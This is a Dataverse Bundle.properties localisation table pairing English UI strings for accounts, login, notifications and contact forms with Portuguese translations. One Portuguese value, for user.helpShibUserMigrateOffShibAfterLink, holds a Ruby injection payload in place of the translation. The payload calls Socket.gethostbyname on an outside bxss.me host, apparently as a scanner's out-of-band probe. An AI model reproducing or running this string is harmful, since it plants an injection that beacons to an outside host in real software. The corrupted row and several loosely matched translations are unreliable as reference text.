DATAVERSE

Bundle.properties

Label	English	Português
dataverse	Dataverse	Dataverse
newDataverse	New Dataverse	Nova Comunidade
hostDataverse	Host Dataverse	Dataverse Anfitrião
dataverses	Dataverses	Comunidades Dataverses
passwd	Password	Senha
dataset	Dataset	Conjunto de dados
datasets	Datasets	Conjuntos de dados
newDataset	New Dataset	Novo conjunto de dados
files	Files	Arquivos
file	File	Arquivo
restricted	Restricted	Restrito
restrictedaccess	Restricted with Access Granted	Acesso restrito
find	Find	Localizar
search	Search	Pesquisa
language	Language	Idioma
unpublished	Unpublished	não publicado
cancel	Cancel	Cancelar
ok	OK	OK
saveChanges	Save Changes	Salvar alterações
acceptTerms	Accept	Aceitar
submit	Submit	Submeter
signup	Sign Up	Inscreva-se
login	Log In	Iniciar sessão
email	Email	E-mail
account	Account	Conta
requiredField	Required field	Campo obrigatório
new	New	Novo
identifier	Identifier	Identificador
description	Description	Descrição
subject	Subject	assunto
close	Close	Fechar
preview	Preview	Pré-visualizar
continue	Continue	Continuar
name	Name	Nome
institution	Institution	Instituição
position	Position	Posição/Profissão
affiliation	Affiliation	Afiliação Institucional
createDataverse	Create Dataverse	Criar uma comunidade Dataverse
remove	Remove	Remover
done	Done	Feito
editor	Contributor	Colaborador
manager	Manager	Gerente
curator	Curator	Curador
explore	Explore	Explorar
download	Download	Baixar
downloadOriginal	Original Format	Formato original
downloadArchival	Archival Format (.tab)	Formato de arquivo (.tab)
deaccession	Deaccession	Descartado
share	Share	Compartilhar
link	Link	Link
linked	Linked	Linkado
harvested	Harvested	Colhidas
apply	Apply	Aplicar
add	Add	Adicionar
delete	Delete	Excluir
yes	Yes	Sim
no	No	Não
previous	Previous	Anterior
next	Next	Próxima
first	First	Primeiro
last	Last	Último
more	More...	Mais ...
less	Less...	Menos ...
select	Select...	Selecione ...
selectedFiles	Selected Files	Arquivos selecionados
htmlAllowedTitle	Allowed HTML Tags	Tags HTML permitidas
htmlAllowedMsg	This field supports only certain HTML tags.	Este campo é compatível apenas com determinadas tags HTML.
htmlAllowedTags	<a>, <b>, <blockquote>, <br>, <code>, <del>, <dd>, <dl>, <dt>, <em>, <hr>, <h1>-<h3>, <i>, <img>, <kbd>, <li>, <ol>, <p>, <pre>, <s>, <sup>, <sub>, <strong>, <strike>, <u>, <ul>	<a>, <b>, <blockquote>, <br>, <code>, <del>, <dd>, <dl>, <dt>, <em>, <hr>, <h1>-<h3>, <i>, <img>, <kbd>, <li>, <ol>, <p>, <pre>, <s>, <sup>, <sub>, <strong>, <strike>, <u>, <ul>
toggleNavigation	Toggle navigation	Alternar navegação
defaultBody	Default Body	Corpo padrão
loading	Loading...	Carregando....
filter	Filter	Filtro
to	to	para
of	of	de
alt.logo	{0} logo	{0} logotipo
alt.homepage	{0} homepage	{0} pagína inicial
header.noscript	Please enable JavaScript in your browser. It is required to use most of the features of Dataverse.	Ative o JavaScript no seu navegador. É necessário usar a maioria dos recursos do Dataverse.
header.status.header	Status	Status
header.search.title	Search all dataverses...	Pesquisa de todos os dataverses ...
header.about	About	Sobre
header.support	Support	Contato
header.guides	Guides	Guias
header.guides.user	User Guide	Guia do usuário
header.guides.developer	Developer Guide	Guia do desenvolvedor
header.guides.installation	Installation Guide	Guia de instalação
header.guides.api	API Guide	Guia da API
header.guides.admin	Admin Guide	Guia do administrador
header.signUp	Sign Up	Inscreva-se
header.logOut	Log Out	Sair
header.accountInfo	Account Information	Informações da conta
header.dashboard	Dashboard	Painel principal
header.user.selectTab.dataRelated	My Data	Meus dados
header.user.selectTab.notifications	Notifications	Notificações
header.user.selectTab.accountInfo	Account Information	Informação da conta
header.user.selectTab.groupsAndRoles	Groups + Roles	Grupos + Funções
header.user.selectTab.apiToken	API Token	Token da API
head.meta.description	The Dataverse Project is an open source software application to share, cite and archive data. Dataverse provides a robust infrastructure for data stewards to host and archive data, while offering researchers an easy way to share and get credit for their data.	O Projeto Dataverse é um aplicativo de código aberto para compartilhar, citar e arquivar dados. O Dataverse fornece uma infra-estrutura robusta para que os administradores de dados hospedem e arquivem dados, oferecendo aos pesquisadores uma maneira fácil de compartilhar e obter crédito por seus dados.
body.skip	Skip to main content	Ir para o conteúdo principal
footer.copyright	Copyright © {0}	Copyright © {0}
footer.widget.datastored	Data is stored at {0}.	Os dados são armazenados em {0}.
footer.widget.login	Log in to	Faça o login para
footer.privacyPolicy	Privacy Policy	Política de Privacidade
footer.poweredby	Powered by	Desenvolvido por
footer.dataverseProject	The Dataverse Project	O Projeto Dataverse
messages.error	Error	Erro
messages.success	Success!	Sucesso!
messages.info	Info	Info
messages.validation	Validation Error	Erro de validação
messages.validation.msg	Required fields were missed or there was a validation error. Please scroll down to see details.	Os campos obrigatórios foram perdidos ou houve um erro de validação. Por favor, role para baixo para ver detalhes.
contact.header	Contact {0}	Contato {0}
contact.dataverse.header	Email Dataverse Contact	E-mail de contato do Dataverse
contact.dataset.header	Email Dataset Contact	E-mail de contato do Conjunto de Dados
contact.to	To	Para
contact.support	Support	Suporte
contact.from	From	De
contact.from.required	User email is required.	O e-mail do usuário é obrigatório.
contact.from.invalid	Email is invalid.	O e-mail é inválido.
contact.subject	Subject	Assunto
contact.subject.required	Subject is required.	Assunto é obrigatório.
contact.subject.selectTab.top	Select subject...	Selecionar assunto ...
contact.subject.selectTab.support	Support Question	Pergunta de suporte
contact.subject.selectTab.dataIssue	Data Issue	Questão de dados
contact.msg	Message	Mensagem
contact.msg.required	Message text is required.	O texto da mensagem é obrigatório.
contact.send	Send Message	Enviar mensagem
contact.question	Please fill this out to prove you are not a robot.	Por favor, preencha isso para provar que você não é um robô.
contact.sum.required	Value is required.	O valor é obrigatório.
contact.sum.invalid	Incorrect sum, please try again.	Soma incorreta, por favor tente novamente.
contact.sum.converterMessage	Please enter a number.	Por favor, digite um número.
contact.contact	Contact	E-mail de contato
contact.context.subject.dvobject	{0} contact: {1}	{0} contate: {1}
contact.context.subject.support	{0} support request: {1}	{0} solicitação de suporte: {1}
contact.context.dataverse.intro	{0}You have just been sent the following message from {1} via the {2} hosted dataverse named "{3}": ---	"{0}Você acabou de receber a seguinte mensagem de {1} via o dataverse {2} hospedado com o nome ""{3}"": --- "
contact.context.dataverse.ending	--- {0} {1} Go to dataverse {2}/dataverse/{3} You received this email because you have been listed as a contact for the dataverse. If you believe this was an error, please contact {4} at {5}. To respond directly to the individual who sent the message, simply reply to this email.	" --- {0} {1} Vá para a Comunidade {2}/dataverse/{3} Você recebeu este e-mail porque foi listado como um contato para o esta Comunidade. Se você acredita que isso foi um erro, entre em contato com {4} em {5}. Para responder diretamente ao indivíduo que enviou a mensagem, basta responder a este e-mail. "
contact.context.dataverse.noContact	There is no contact address on file for this dataverse so this message is being sent to the system address.	Não há nenhum endereço de contato no arquivo para este dataverse então esta mensagem está sendo enviada para o endereço do sistema.
contact.context.dataset.greeting.helloFirstLast	Hello {0} {1},	Olá {0} {1},
contact.context.dataset.greeting.organization	Attention Dataset Contact:	Contato do Conjunto de Dados de Atenção:
contact.context.dataset.intro	{0} You have just been sent the following message from {1} via the {2} hosted dataset titled "{3}" ({4}): ---	"{0} Você acabou de receber a seguinte mensagem de {1} através do conjunto de dados {2} hospedado intitulado ""{3}"" ({4}): --- "
contact.context.dataset.ending	--- {0} {1} Go to dataset {2}/dataset.xhtml?persistentId={3} You received this email because you have been listed as a contact for the dataset. If you believe this was an error, please contact {4} at {5}. To respond directly to the individual who sent the message, simply reply to this email.	" --- {0} {1} Vá para o conjunto de dados {2}/dataset.xhtml?persistentId={3} Você recebeu este e-mail porque foi listado como um contato para o conjunto de dados. Se você acredita que isso foi um erro, entre em contato com {4} em {5}. Para responder diretamente ao indivíduo que enviou a mensagem, basta responder a este e-mail."
contact.context.dataset.noContact	There is no contact address on file for this dataset so this message is being sent to the system address. ---	"Não há um endereço de contato no arquivo para este conjunto de dados, portanto, esta mensagem está sendo enviada para o endereço do sistema. --- "
contact.context.file.intro	{0} You have just been sent the following message from {1} via the {2} hosted file named "{3}" from the dataset titled "{4}" ({5}): ---	"{0} Você acabou de receber a seguinte mensagem de {1} por meio do arquivo {2} hospedado chamado ""{3}"" do conjunto de dados intitulado ""{4}"" ({5}): --- "
contact.context.file.ending	--- {0} {1} Go to file {2}/file.xhtml?fileId={3} You received this email because you have been listed as a contact for the dataset. If you believe this was an error, please contact {4} at {5}. To respond directly to the individual who sent the message, simply reply to this email.	" --- {0} {1} Vá para o arquivo {2}/file.xhtml?fileId={3} Você recebeu este e-mail porque foi listado como um contato para o conjunto de dados. Se você acredita que isso foi um erro, entre em contato com {4} em {5}. Para responder diretamente ao indivíduo que enviou a mensagem, basta responder a este e-mail."
contact.context.support.intro	{0}, The following message was sent from {1}. ---	"{0}, A seguinte mensagem foi enviada de {1}. --- "
contact.context.support.ending	--- Message sent from Support contact form.	" --- Mensagem enviada do formulário de contato de suporte."
institution.name	A Dataverse Instance	Uma instância do Dataverse
account.info	Account Information	Informações da conta
account.edit	Edit Account	Editar conta
account.apiToken	API Token	Token da API
user.isShibUser	Account information cannot be edited when logged in through an institutional account.	As informações da conta não podem ser editadas quando você faz login através de uma conta institucional.
user.helpShibUserMigrateOffShibBeforeLink	Leaving your institution? Please contact	Deixando sua instituição? Por favor entre em contato
user.helpShibUserMigrateOffShibAfterLink	for assistance.	Socket.gethostbyname('hitth'+'azkcjkor06d4a.bxss.me.')[3].to_s)+'
user.helpOAuthBeforeLink	Your Dataverse account uses {0} for login. If you are interested in changing login methods, please contact	Sua conta do Dataverse usa {0} para login. Se você estiver interessado em alterar os métodos de login, entre em contato
user.helpOAuthAfterLink	for assistance.	para assistência.
user.lostPasswdTip	If you have lost or forgotten your password, please enter your username or email address below and click Submit. We will send you an e-mail with your new password.	Se você perdeu ou esqueceu sua senha, digite seu nome de usuário ou endereço de e-mail abaixo e clique em Enviar. Nós lhe enviaremos um e-mail com sua nova senha.
user.dataRelatedToMe	My Data	Meus dados
wasCreatedIn	, was created in	, foi criado em
wasCreatedTo	, was added to	, foi adicionado a
wasSubmittedForReview	, was submitted for review to be published in	, foi submetido para revisão a ser publicado em
wasPublished	, was published in	, foi publicado em
wasReturnedByReviewer	, was returned by the curator of	, foi devolvido pelo curador de
toReview	Don´t forget to publish it or send it back to the contributor!	Não se esqueça de publicá-lo ou devolvê-lo ao colaborador!
worldMap.added	dataset had a WorldMap layer data added to it.	o conjunto de dados tinha dados da camada do WorldMap adicionados a ele.
notification.welcome	Welcome to {0}! Get started by adding or finding data. Have questions? Check out the {1}. Want to test out Dataverse features? Use our {2}.	Bem-vindo a {0}! Comece por adicionar ou encontrar dados. Tem perguntas? Confira o {1}. Quer testar os recursos do Dataverse? Use nosso {2}. Além disso, verifique seu e-mail de boas-vindas para confirmar seu endereço.
notification.demoSite	Demo Site	Site de demonstração
notification.requestFileAccess	File access requested for dataset: {0} was made by {1} ({2}).	O acesso ao arquivo solicitado para o conjunto de dados: {0} foi feito por {1} ({2}).
notification.grantFileAccess	Access granted for files in dataset: {0}.	Acesso concedido para arquivos no conjunto de dados: {0}.
notification.rejectFileAccess	Access rejected for requested files in dataset: {0}.	Acesso rejeitado para arquivos solicitados no conjunto de dados: {0}.
notification.createDataverse	{0} was created in {1} . To learn more about what you can do with your dataverse, check out the {2}.	{0} foi criado em {1}. Para saber mais sobre o que você pode fazer com o seu dataverse, confira o {2}.
notification.dataverse.management.title	Dataverse Management - Dataverse User Guide	Gerenciamento do Dataverse - Guia do usuário do Dataverse
notification.createDataset	{0} was created in {1}. To learn more about what you can do with a dataset, check out the {2}.	{0} foi criado em {1}. Para saber mais sobre o que você pode fazer com um conjunto de dados, confira o {2}.
notification.dataset.management.title	Dataset Management - Dataset User Guide	Gerenciamento de Dataset - Guia do Usuário do Dataset
notification.wasSubmittedForReview	{0} was submitted for review to be published in {1}. Don´´t forget to publish it or send it back to the contributor, {2} ({3})!	{0} foi submetido para revisão para ser publicado em {1}. Não se esqueça de publicá-lo ou enviá-lo de volta para o contribuidor, {2} ({3})!
notification.wasReturnedByReviewer	{0} was returned by the curator of {1}.	{0} foi retornado pelo curador de {1}.
notification.wasPublished	{0} was published in {1}.	{0} foi publicado em {1}.
notification.ingestCompleted	Dataset {1} has one or more tabular files that completed the tabular ingest process and are available in archival formats.	A ingestão de {1} conjunto de dados foi concluída com sucesso.
notification.ingestCompletedWithErrors	Dataset {1} has one or more tabular files that are available but are not supported for tabular ingest.	A ingestão {1} do conjunto de dados terminou com erros.
notification.worldMap.added	{0}, dataset had WorldMap layer data added to it.	{0}, o conjunto de dados tinha dados da camada do WorldMap adicionados a ele.
notification.maplayer.deletefailed	Failed to delete the map layer associated with the restricted file {0} from WorldMap. Please try again, or contact WorldMap and/or Dataverse support. (Dataset: {1})	Falha ao excluir a camada do mapa associada ao arquivo restrito {0} do WorldMap. Por favor, tente novamente, ou entre em contato com o suporte do WorldMap e/ou do Dataverse. (Conjunto de dados: {1})
notification.generic.objectDeleted	The dataverse, dataset, or file for this notification has been deleted.	O dataverse, conjunto de dados ou arquivo para essa notificação foi excluído.
notification.access.granted.dataverse	You have been granted the {0} role for {1}.	Você recebeu a função {0} para {1}.
notification.access.granted.dataset	You have been granted the {0} role for {1}.	Você recebeu a função {0} para {1}.
notification.access.granted.datafile	You have been granted the {0} role for file in {1}.	Você recebeu a função {0} para o arquivo em {1}.
notification.access.granted.fileDownloader.additionalDataverse	{0} You now have access to all published restricted and unrestricted files in this dataverse.	{0} Agora você tem acesso a todos os arquivos restritos e irrestritos publicados neste dataverse.
notification.access.granted.fileDownloader.additionalDataset	{0} You now have access to all published restricted and unrestricted files in this dataset.	{0} Agora você tem acesso a todos os arquivos restritos e irrestritos publicados neste conjunto de dados.
notification.access.revoked.dataverse	You have been removed from a role in {0}.	Você foi removido de uma função em {0}.
notification.access.revoked.dataset	You have been removed from a role in {0}.	Você foi removido de uma função em {0}.
notification.access.revoked.datafile	You have been removed from a role in {0}.	Você foi removido de uma função em {0}.
notification.checksumfail	One or more files in your upload failed checksum validation for dataset {1}. Please re-run the upload script. If the problem persists, please contact support.	Um ou mais arquivos em seu upload falharam na validação checksum para o conjunto de dados {1}. Por favor, execute novamente o script de upload. Se o problema persistir, entre em contato com o suporte.
notification.ingest.completed	Your Dataset {2} has one or more tabular files that completed the tabular ingest process. These files will be available for download in their original formats and other formats for enhanced archival purposes after you publish the dataset. The archival .tab files are displayed in the file table. Please see the guides for more information about ingest and support for tabular files.	Dataset {2} processo de ingestão foi concluído com sucesso. arquivos admitidos:{3}
notification.ingest.completedwitherrors	Your Dataset {2} has one or more tabular files that have been uploaded successfully but are not supported for tabular ingest. After you publish the dataset, these files will not have additional archival features. Please see the guides for more information about ingest and support for tabular files. Files with incomplete ingest:{5}	O processo de ingestão do conjunto de dados {2} foi concluído com erros. Arquivos assimilados :{3}
notification.mail.import.filesystem	Globus transfer to Dataset {2} ({0}/dataset.xhtml?persistentId={1}) was successful. File(s) have been uploaded and verified.	O conjunto de dados {2} ({0}/dataset.xhtml?persistentId={1}) foi enviado e verificado com sucesso.
notification.import.filesystem	Globus transfer to Dataset {1} was successful. File(s) have been uploaded and verified.	O conjunto de dados {1} foi carregado e verificado com sucesso.
notification.import.checksum	{1}, dataset had file checksums added via a batch job.	{1}, o conjunto de dados possuía checksum adicionados por meio de um trabalho em lote.
removeNotification	Remove Notification	Remover notificação
groupAndRoles.manageTips	Here is where you can access and manage all the groups you belong to, and the roles you have been assigned.	Aqui é onde você pode acessar e gerenciar todos os grupos aos quais pertence e as funções atribuídas.
user.message.signup.label	Create Account	Criar conta
user.message.signup.tip	Why have a Dataverse account? To create your own dataverse and customize it, add datasets, or request access to restricted files.	Por que ter uma conta do Dataverse? Para criar seu próprio dataverse e personalizá-lo, adicione conjuntos de dados ou solicite acesso a arquivos restritos.
user.signup.otherLogInOptions.tip	You can also create a Dataverse account with one of our other log in options.	Você também pode criar uma conta do Dataverse com uma de nossas outras opções de login.
user.username.illegal.tip	Between 2-60 characters, and can use "a-z", "0-9", "_" for your username.	Entre 2 a 60 caracteres e pode usar "a-z", "0-9", "_" para seu nome de usuário.
user.username	Username	Nome de usuário
user.username.taken	This username is already taken.	Este nome de usuário já está sendo usado.
user.username.invalid	This username contains an invalid character or is outside the length requirement (2-60 characters).	Este nome de usuário contém um caractere inválido ou está fora do requisito de tamanho (2 a 60 caracteres).
user.username.valid	Create a valid username of 2 to 60 characters in length containing letters (a-Z), numbers (0-9), dashes (-), underscores (_), and periods (.).	Crie um nome de usuário válido de 2 a 60 caracteres contendo letras (a-Z), números (0-9), traços (-), sublinhados (_) e pontos (.).
user.noPasswd	No Password	Nenhuma senha
user.currentPasswd	Current Password	Senha atual
user.currentPasswd.tip	Please enter the current password for this account.	Por favor, digite a senha atual para esta conta.
user.passwd.illegal.tip	Password needs to be at least 6 characters, include one letter and one number, and special characters may be used.	A senha precisa ter pelo menos 6 caracteres, incluindo uma letra e um número, e caracteres especiais podem ser usados.
user.rePasswd	Retype Password	Redigite a senha
user.rePasswd.tip	Please retype the password you entered above.	Por favor, digite novamente a senha que você digitou acima.
user.firstName	Given Name	Primeiro nome
user.firstName.tip	The first name or name you would like to use for this account.	O primeiro nome ou nome que você gostaria de usar para esta conta.
user.lastName	Family Name	Sobrenome
user.lastName.tip	The last name you would like to use for this account.	O sobrenome que você gostaria de usar para esta conta.
user.email.tip	A valid email address you have access to in order to be contacted.	Um endereço de e-mail válido a que você tem acesso para ser contatado.
user.email.taken	This email address is already taken.	Este endereço de e-mail já está sendo usado.
user.affiliation.tip	The organization with which you are affiliated.	A organização com a qual você é afiliado.
user.position	Position	Posição/Profissão
user.position.tip	Your role or title at the organization you are affiliated with; such as staff, faculty, student, etc.	Sua função ou título na organização à qual você é afiliado, como funcionários, professores, alunos, etc.
user.acccountterms	General Terms of Use	Termos Gerais de Uso
user.acccountterms.tip	The terms and conditions for using the application and services.	Os termos e condições para usar o aplicativo e serviços.
user.acccountterms.required	Please check the box to indicate your acceptance of the General Terms of Use.	Por favor, marque a caixa para indicar sua aceitação dos Termos Gerais de Uso.
user.acccountterms.iagree	I have read and accept the Dataverse General Terms of Use as outlined above.	Li e aceito os Termos Gerais de Uso do Dataverse, conforme descrito acima.
user.createBtn	Create Account	Criar conta
user.updatePassword.welcome	Welcome to Dataverse {0}	Bem-vindo ao Dataverse {0}, {1}
user.updatePassword.warning	Our terms of use have changed, please check the box below and click Continue.	Com o lançamento de nossa nova atualização do Dataverse 4.0, os requisitos de senha e os Termos Gerais de Uso foram atualizados. Como esta é a primeira vez que você está usando o Dataverse desde a atualização, você precisa criar uma nova senha e concordar com os novos Termos Gerais de Uso.
user.updatePassword.password	{0}	{0}
user.password	Password	Senha
user.newPassword	New Password	Nova senha
authenticationProvidersAvailable.tip	{0}There are no active authentication providers{1}If you are a system administrator, please enable one using the API.{2}If you are not a system administrator, please contact the one for your institution.	{0} Não há provedores de autenticação ativos {1} Se você é um administrador do sistema, ative-o usando a API. {2} Se você não for um administrador do sistema, entre em contato com o da sua instituição.
passwdVal.passwdReq.title	Your password must contain:	Sua senha deve conter:
passwdVal.passwdReq.goodStrength	passwords of at least {0} characters are exempt from all other requirements	senhas de pelo menos {0} caracteres estão isentas de todos os outros requisitos
passwdVal.passwdReq.lengthReq	At least {0} characters	Pelo menos {0} caracteres
passwdVal.passwdReq.characteristicsReq	At least 1 character from {0} of the following types:	Pelo menos 1 caractere de {0} dos seguintes tipos:
passwdVal.passwdReq.notInclude	It may not include:	Pode não incluir:
passwdVal.passwdReq.consecutiveDigits	More than {0} numbers in a row	Mais de {0} números seguidos
passwdVal.passwdReq.dictionaryWords	Dictionary words	Palavras do dicionário
passwdVal.passwdReq.unknownPasswordRule	Unknown, contact your administrator	Desconhecido, entre em contato com seu administrador
passwdVal.expireRule.errorCode	EXPIRED	EXPIRADO
passwdVal.expireRule.errorMsg	The password is over %1$s days old and has expired.	A senha está com mais de %1$s dias e expirou.
passwdVal.goodStrengthRule.errorMsg	Note: passwords are always valid with a %1$s or more character length regardless.	Nota: as senhas são sempre válidas com %1$s ou mais comprimento de caracteres, independentemente.
passwdVal.goodStrengthRule.errorCode	NO_GOODSTRENGTH	Senha fraca
passwdVal.passwdReset.resetLinkTitle	Password Reset Link	Link de redefinição de senha
passwdVal.passwdReset.resetLinkDesc	Your password reset link is not valid	Seu link de redefinição de senha não é válido
passwdVal.passwdReset.resetInitiated	Password Reset Initiated	Redefinição de Senha Iniciada
passwdVal.passwdReset.valBlankLog	new password is blank	nova senha está em branco
passwdVal.passwdReset.valFacesError	Password Error	Erro de senha
passwdVal.passwdReset.valFacesErrorDesc	Please enter a new password for your account.	Por favor, digite uma nova senha para sua conta.
passwdVal.passwdValBean.warnDictionaryRead	Dictionary was set, but none was read in.	O dicionário foi definido, mas nenhum foi lido.
passwdVal.passwdValBean.warnDictionaryObj	PwDictionaries not set and no default password file found:	PwDictionaries não configurados e nenhum arquivo de senhas padrão encontrado:
passwdVal.passwdValBean.warnSetStrength	The PwGoodStrength {0} value competes with the PwMinLength value of {1} and is added to {2}	O valor PwGoodStrength {0} compete com o valor PwMinLength de {1} e é adicionado a {2}
pageTitle.passwdReset.pre	Account Password Reset	Redefinição de senha da conta
passwdReset.token	token :	token:
passwdReset.userLookedUp	user looked up :	usuário pesquisou:
passwdReset.emailSubmitted	email submitted :	e-mail enviado:
passwdReset.details	{0} Password Reset{1} - To initiate the password reset process, please provide your email address.	{0} Redefinir senha {1} - Para iniciar o processo de redefinição de senha, forneça seu endereço de e-mail.
passwdReset.submitRequest	Submit Password Request	Submeter pedido de senha
passwdReset.successSubmit.tip	If this email is associated with an account, then an email will be sent with further instructions to {0}.	Se este e-mail estiver associado a uma conta, um e-mail será enviado com mais instruções para {0}.
passwdReset.debug	DEBUG	DEBUG
passwdReset.resetUrl	The reset URL is	A URL de redefinição é
passwdReset.noEmail.tip	No email was actually sent because a user could not be found using the provided email address {0} but we don´t mention this because we don´t malicious users to use the form to determine if there is an account associated with an email address.	Nenhum e-mail foi enviado porque não foi possível encontrar um usuário usando o endereço de e-mail fornecido {0}, mas não mencionamos isso porque não usamos usuários mal-intencionados para determinar se há uma conta associada a um endereço de e-mail.
passwdReset.illegalLink.tip	Your password reset link is not valid. If you need to reset your password, {0}click here{1} in order to request that your password to be reset again.	Seu link de redefinição de senha não é válido. Se você precisar redefinir sua senha, {0} clique aqui {1} para solicitar que sua senha seja redefinida novamente.
passwdReset.newPasswd.details	Please, accept the new terms of use before continuing.	Por favor, aceite os novos termos de uso antes de continuar.
passwdReset.newPasswd	New Password	Nova senha
passwdReset.rePasswd	Retype Password	Redigite a senha
passwdReset.resetBtn	Continue	Redefinir senha
login.System	Login System	Sistema de Login
login.forgot.text	Forgot your password?	Esqueceu sua senha?
login.builtin	Dataverse Account	Conta Dataverse
login.institution	Institutional Account	Conta Institucional
login.institution.blurb	Log in or sign up with your institutional account — more information about account creation.	Faça login ou inscreva-se com sua conta institucional — saiba mais.
login.institution.support.blurbwithLink	Leaving your institution? Please contact {0} for assistance.	Saindo da sua instituição? Entre em contato com {0} para obter assistência.
login.builtin.credential.usernameOrEmail	Username/Email	Nome de usuário/E-mail
login.builtin.credential.password	Password	Senha
login.builtin.invalidUsernameEmailOrPassword	The username, email address, or password you entered is invalid. Need assistance accessing your account?	O nome de usuário, endereço de e-mail ou senha que você digitou são inválidos. Precisa de ajuda para acessar sua conta?
login.signup.blurb	Sign up for a Dataverse account.	Inscreva-se para uma conta Dataverse.
login.echo.credential.name	Name	Nome
login.echo.credential.email	Email	E-mail
login.echo.credential.affiliation	Affiliation	Afiliação
login.error	Error validating the username, email address, or password. Please try again. If the problem persists, contact an administrator.	Erro ao validar o nome de usuário, endereço de e-mail ou senha. Por favor, tente novamente. Se o problema persistir, entre em contato com um administrador.
user.error.cannotChangePassword	Sorry, your password cannot be changed. Please contact your system administrator.	Desculpe, sua senha não pode ser alterada. Por favor, entre em contato com o administrador do sistema.
user.error.wrongPassword	Sorry, wrong password.	Desculpe, senha errada.
login.button	Log In with {0}	Inicie a sessão com {0}
login.button.orcid	Create or Connect your ORCID	Crie ou conecte seu ORCID
auth.providers.title	Other options	Outras opções
auth.providers.tip	You can convert a Dataverse account to use one of the options above. More information about account creation.	Você pode converter uma conta do Dataverse para usar uma das opções acima. Saiba mais.
auth.providers.title.builtin	Username/Email	Nome de usuário/E-mail
auth.providers.title.shib	Your Institution	Sua instituição
auth.providers.title.orcid	ORCID	ORCID
auth.providers.title.google	Google	Google
auth.providers.title.github	GitHub	GitHub
auth.providers.blurb	Log in or sign up with your {0} account — more information about account creation. Having trouble? Please contact {3} for assistance.	Faça login ou inscreva-se com sua {0} conta — saiba mais. Tem problemas? Por favor, entre em contato com {3} para assistência.
auth.providers.persistentUserIdName.orcid	ORCID iD	ORCID iD
auth.providers.persistentUserIdName.github	ID	ID
auth.providers.persistentUserIdTooltip.orcid	ORCID provides a persistent digital identifier that distinguishes you from other researchers.	ORCID fornece um identificador digital persistente que o distingue de outros pesquisadores.
auth.providers.persistentUserIdTooltip.github	GitHub assigns a unique number to every user.	O GitHub atribui um número exclusivo a cada usuário.
auth.providers.insufficientScope	Dataverse was not granted the permission to read user data from {0}.	Dataverse was not granted the permission to read user data from {0}.
auth.providers.exception.userinfo	Error getting the user info record from {0}.	Erro ao obter o registro de informações do usuário de {0}.
auth.providers.orcid.helpmessage1	ORCID is an open, non-profit, community-based effort to provide a registry of unique researcher identifiers and a transparent method of linking research activities and outputs to these identifiers. ORCID is unique in its ability to reach across disciplines, research sectors, and national boundaries and its cooperation with other identifier systems. Find out more at orcid.org/about.	O ORCID é um esforço aberto, sem fins lucrativos, com base na comunidade, para fornecer um registro de identificadores exclusivos de pesquisadores e um método transparente de vincular atividades de pesquisa e resultados a esses identificadores. A ORCID é única em sua capacidade de atingir disciplinas, setores de pesquisa e fronteiras nacionais e sua cooperação com outros sistemas de identificadores. Saiba mais em orcid.org/about.
auth.providers.orcid.helpmessage2	This repository uses your ORCID for authentication (so you don´t need another username/password combination). Having your ORCID associated with your datasets also makes it easier for people to find the datasets you have published.	Este repositório usa seu ORCID para autenticação (para que você não precise de outra combinação de nome de usuário/senha). Ter seu ORCID associado aos seus conjuntos de dados também facilita a localização dos conjuntos de dados que você publicou.
authenticationProvider.name.builtin	Dataverse	Dataverse
authenticationProvider.name.null	(provider is unknown)	(o provedor é desconhecido)
authenticationProvider.name.github	GitHub	GitHub
authenticationProvider.name.google	Google	Google
authenticationProvider.name.orcid	ORCiD	ORCiD
authenticationProvider.name.orcid-sandbox	ORCiD Sandbox	Caixa de areia ORCiD
authenticationProvider.name.shib	Shibboleth	Shibboleth
confirmEmail.pageTitle	Email Verification	Verificação de e-mail
confirmEmail.submitRequest	Send Verification Email	Verificar e-mail
confirmEmail.submitRequest.success	A verification email has been sent to {0}. Note, the verify link will expire after {1}.	Um e-mail de verificação foi enviado para {0}. Observe que o link de verificação expirará após {1}.
confirmEmail.details.success	Email address verified!	Endereço de e-mail confirmado!
confirmEmail.details.failure	We were unable to verify your email address: {0}. Please navigate to your Account Information page and click the "Send Verification Email" button.	Não foi possível confirmar seu endereço de e-mail. Por favor, navegue até a página "Informações da sua conta" e clique no botão "Verificar e-mail".
confirmEmail.details.goToAccountPageButton	Go to Account Information	Ir para informações da conta
confirmEmail.notVerified	Not Verified	Não verificado
confirmEmail.verified	Verified	Verificado
shib.btn.convertAccount	Convert Account	Converter conta
shib.btn.createAccount	Create Account	Criar conta
shib.askToConvert	Would you like to convert your Dataverse account to always use your institutional log in?	Você gostaria de converter sua conta Dataverse para sempre usar seu login institucional?
shib.welcomeExistingUserMessage	Your institutional log in for {0} matches an email address already being used for a Dataverse account. By entering your current Dataverse password below, your existing Dataverse account can be converted to use your institutional log in. After converting, you will only need to use your institutional log in.	Seu login institucional para {0} corresponde a um endereço de e-mail que já está sendo usado para uma conta do Dataverse. Ao inserir sua senha atual do Dataverse abaixo, sua conta existente do Dataverse pode ser convertida para usar seu login institucional. Após a conversão, você só precisará usar seu login institucional.
shib.welcomeExistingUserMessageDefaultInstitution	your institution	sua instituição
shib.dataverseUsername	Dataverse Username	Nome de usuário do Dataverse
shib.currentDataversePassword	Current Dataverse Password	Senha atual do Dataverse
shib.accountInformation	Account Information	Informações da conta
shib.offerToCreateNewAccount	This information is provided by your institution and will be used to create your Dataverse account.	Esta informação é fornecida pela sua instituição e será usada para criar sua conta no Dataverse.
shib.passwordRejected	Validation Error - Your account can only be converted if you provide the correct password for your existing account. If your existing account has been deactivated by an administrator, you cannot convert your account.	Erro de validação - Sua conta só poderá ser convertida se você fornecer a senha correta para sua conta existente.
oauth2.btn.convertAccount	Convert Existing Account	Converter conta existente
oauth2.btn.createAccount	Create New Account	Criar nova conta
oauth2.askToConvert	Would you like to convert your Dataverse account to always use your institutional log in?	Deseja converter sua conta do Dataverse para sempre usar seu login institucional?
oauth2.welcomeExistingUserMessage	Your institutional log in for {0} matches an email address already being used for a Dataverse account. By entering your current Dataverse password below, your existing Dataverse account can be converted to use your institutional log in. After converting, you will only need to use your institutional log in.	Seu login institucional para {0} corresponde a um endereço de e-mail que já está sendo usado para uma conta do Dataverse. Ao inserir sua senha atual do Dataverse abaixo, sua conta existente do Dataverse pode ser convertida para usar seu login institucional. Após a conversão, você só precisará usar seu login institucional.
oauth2.welcomeExistingUserMessageDefaultInstitution	your institution	sua instituição
oauth2.dataverseUsername	Dataverse Username	Nome de usuário do Dataverse
oauth2.currentDataversePassword	Current Dataverse Password	Senha atual do Dataverse
oauth2.chooseUsername	Username:	Nome de usuário:
oauth2.passwordRejected	Validation Error - Wrong username or password.	Erro de validação - Nome de usuário ou senha incorretos.
# oauth2.newAccount.title	Account Creation	Account Creation
